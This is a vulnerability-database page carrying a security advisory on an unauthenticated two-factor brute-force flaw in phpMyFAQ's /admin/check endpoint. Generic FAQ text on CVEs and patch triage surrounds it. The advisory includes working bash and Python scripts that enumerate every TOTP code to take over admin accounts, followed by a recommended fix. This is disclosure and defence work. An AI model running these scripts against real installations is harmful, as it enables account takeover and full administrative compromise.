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CVSS estimates technical severity, but it does not automatically equal business risk. Prioritize using context like internet exposure, asset criticality, known exploitation, and whether compensating controls exist. A Medium CVSS on an exposed production system can be more urgent than a Critical on an isolated non-production host.

Vulnerability Database

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A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

Q: What's the difference between a vulnerability, an exploit, and a zero-day?

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. Risk increases sharply when exploitation becomes reliable or widespread.

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Q: How do we prioritize remediation without burning out the team?

Use a repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress so remediation is steady, not reactive.

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Total vulnerabilities in the database

phpMyFAQ enables unauthenticated 2FA brute-force attack via /admin/check acceptance of arbitrary user-id — thorsten / phpmyfaq

Improper Restriction of Excessive Authentication Attempts

Summary

The /admin/check endpoint in AuthenticationController implements SkipsAuthenticationCheck, making it reachable without any prior authentication. An anonymous attacker (Bob) can POST arbitrary user-id and token values to brute-force any user's 6-digit TOTP code. No rate limiting exists. The 10^6 keyspace is exhaustible in minutes. Reachability confirmed against a default install: unauthenticated POST /admin/check with a user-id body field returns HTTP 302 to /admin/token?user-id=<value>, echoing the attacker-supplied user id without any binding to a prior password-phase authentication.

Details

File: phpmyfaq/src/phpMyFAQ/Controller/Administration/AuthenticationController.php, lines 35-36 and 201-228.

The controller class declaration:

final class AuthenticationController extends AbstractAdministrationController implements SkipsAuthenticationCheck

The SkipsAuthenticationCheck interface (phpmyfaq/src/phpMyFAQ/Controller/Administration/SkipsAuthenticationCheck.php) is a marker interface that tells the ControllerContainerListener to skip authentication enforcement. Every route in this controller is reachable without a session.

The check action (line 201-228):

#[Route(path: &#039;/check&#039;, name: &#039;admin.auth.check&#039;, methods: [&#039;POST&#039;])]
public function check(Request $request): RedirectResponse
{
    if ($this-&gt;currentUser-&gt;isLoggedIn()) {
        return new RedirectResponse(url: &#039;./&#039;);
    }

    $token = Filter::filterVar($request-&gt;request-&gt;get(key: &#039;token&#039;), FILTER_SANITIZE_SPECIAL_CHARS);
    $userId = (int) Filter::filterVar($request-&gt;request-&gt;get(key: &#039;user-id&#039;), FILTER_VALIDATE_INT);

    $user = $this-&gt;currentUserService;
    $user-&gt;getUserById($userId);

    if (strlen((string) $token) === 6) {
        $tfa = $this-&gt;twoFactor;
        $result = $tfa-&gt;validateToken($token, $userId);

        if ($result) {
            $user-&gt;twoFactorSuccess();
            $this-&gt;adminLog-&gt;log($user, AdminLogType::AUTH_2FA_SUCCESS-&gt;value . &#039;:&#039; . $user-&gt;getLogin());
            return new RedirectResponse(url: &#039;./&#039;);
        }

        $this-&gt;adminLog-&gt;log($user, AdminLogType::AUTH_2FA_FAILED-&gt;value . &#039;:&#039; . $user-&gt;getLogin());
    }

    return new RedirectResponse(&#039;./token?user-id=&#039; . $userId);
}

Problems:

No session binding: The endpoint accepts user-id from the POST body. It does not verify that the caller previously authenticated with a password for that user.
No rate limit or lockout: Failed attempts redirect back to the token form with no counter, delay, or account lock.
Unauthenticated access: The SkipsAuthenticationCheck marker exempts the entire controller from auth enforcement.

The normal login flow (/admin/authenticate) redirects to /admin/token?user-id=X after a valid password. But nothing prevents Bob from skipping the password step and hitting /admin/check directly.

Proof of Concept

# Step 1: Identify target user ID (admin is typically user_id=1)
TARGET_HOST=&quot;http://target.example&quot;
USER_ID=1

# Step 2: Brute-force the 6-digit TOTP code
# TOTP codes rotate every 30 seconds, giving a window of ~1M attempts per window.
# At 200 req/s this takes under 2 hours worst case; with 2 valid windows it halves.

for code in $(seq -w 000000 999999); do
  RESPONSE=$(curl -s -o /dev/null -w &quot;%{http_code}:%{redirect_url}&quot; \
    -X POST &quot;${TARGET_HOST}/admin/check&quot; \
    -d &quot;token=${code}&amp;user-id=${USER_ID}&quot;)

  # A successful 2FA grants a session and redirects to ./
  # A failure redirects to ./token?user-id=1
  if echo &quot;$RESPONSE&quot; | grep -qv &quot;token?user-id=&quot;; then
    echo &quot;[+] Valid TOTP: ${code}&quot;
    break
  fi
done

# Faster parallel version
import requests
from concurrent.futures import ThreadPoolExecutor

TARGET = &quot;http://target.example/admin/check&quot;
USER_ID = 1

def try_code(code):
    r = requests.post(TARGET, data={&quot;token&quot;: f&quot;{code:06d}&quot;, &quot;user-id&quot;: USER_ID}, allow_redirects=False)
    location = r.headers.get(&quot;Location&quot;, &quot;&quot;)
    if &quot;token?user-id=&quot; not in location:
        return code
    return None

with ThreadPoolExecutor(max_workers=50) as pool:
    for result in pool.map(try_code, range(1000000)):
        if result is not None:
            print(f&quot;[+] Valid TOTP: {result:06d}&quot;)
            break

Impact

Bob bypasses two-factor authentication for any user account (including administrators) without knowing the user's password. After a successful brute-force, twoFactorSuccess() grants a fully authenticated admin session. Bob gains full administrative control: user management, FAQ content modification, configuration changes, and access to backup/export functions containing all data.

CVSS 3.1: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N (High, 9.1) CWE: CWE-307 (Improper Restriction of Excessive Authentication Attempts)

Recommended Fix

Bind the 2FA step to a password-verified session: Store a flag in the server-side session during authenticate() indicating the user passed password auth. The check action must verify this flag before accepting TOTP attempts.
Add rate limiting / lockout: After 5 failed TOTP attempts, lock the account or enforce an exponential backoff.
Narrow the SkipsAuthenticationCheck scope: Move the /check and /token routes into a separate controller that requires the password-verified session flag rather than blanket-skipping auth.

Example session-binding fix in check():

#[Route(path: &#039;/check&#039;, name: &#039;admin.auth.check&#039;, methods: [&#039;POST&#039;])]
public function check(Request $request): RedirectResponse
{
    $userId = (int) Filter::filterVar($request-&gt;request-&gt;get(key: &#039;user-id&#039;), FILTER_VALIDATE_INT);

    // Require that the session proves password auth for this specific user
    if ($this-&gt;session-&gt;get(&#039;2fa_pending_user_id&#039;) !== $userId) {
        return new RedirectResponse(url: &#039;./login&#039;);
    }

    // ... existing TOTP validation ...
}

And in authenticate(), after successful password check:

$this-&gt;session-&gt;set(&#039;2fa_pending_user_id&#039;, $this-&gt;currentUser-&gt;getUserId());

Found by aisafe.io

Published: May 6, 2026
Updated: Aug 29, 2026
GHSA: GHSA-9pq7-mfwh-xx2j
Severity: Critical
Exploit:
CISA KEV:

CVSS v3:

Severity: Critical
Score: 9.1
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

CWEs:

CWE-307

Affected Software
References

Software	Affected versions
thorsten / phpmyfaq	`< 4.1.2`
phpmyfaq / phpmyfaq	`< 4.1.2`

https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-9pq7-mfwh-xx2j

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Frequently Asked Questions

What is a Vulnerability (CVE) and why does it matter?

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.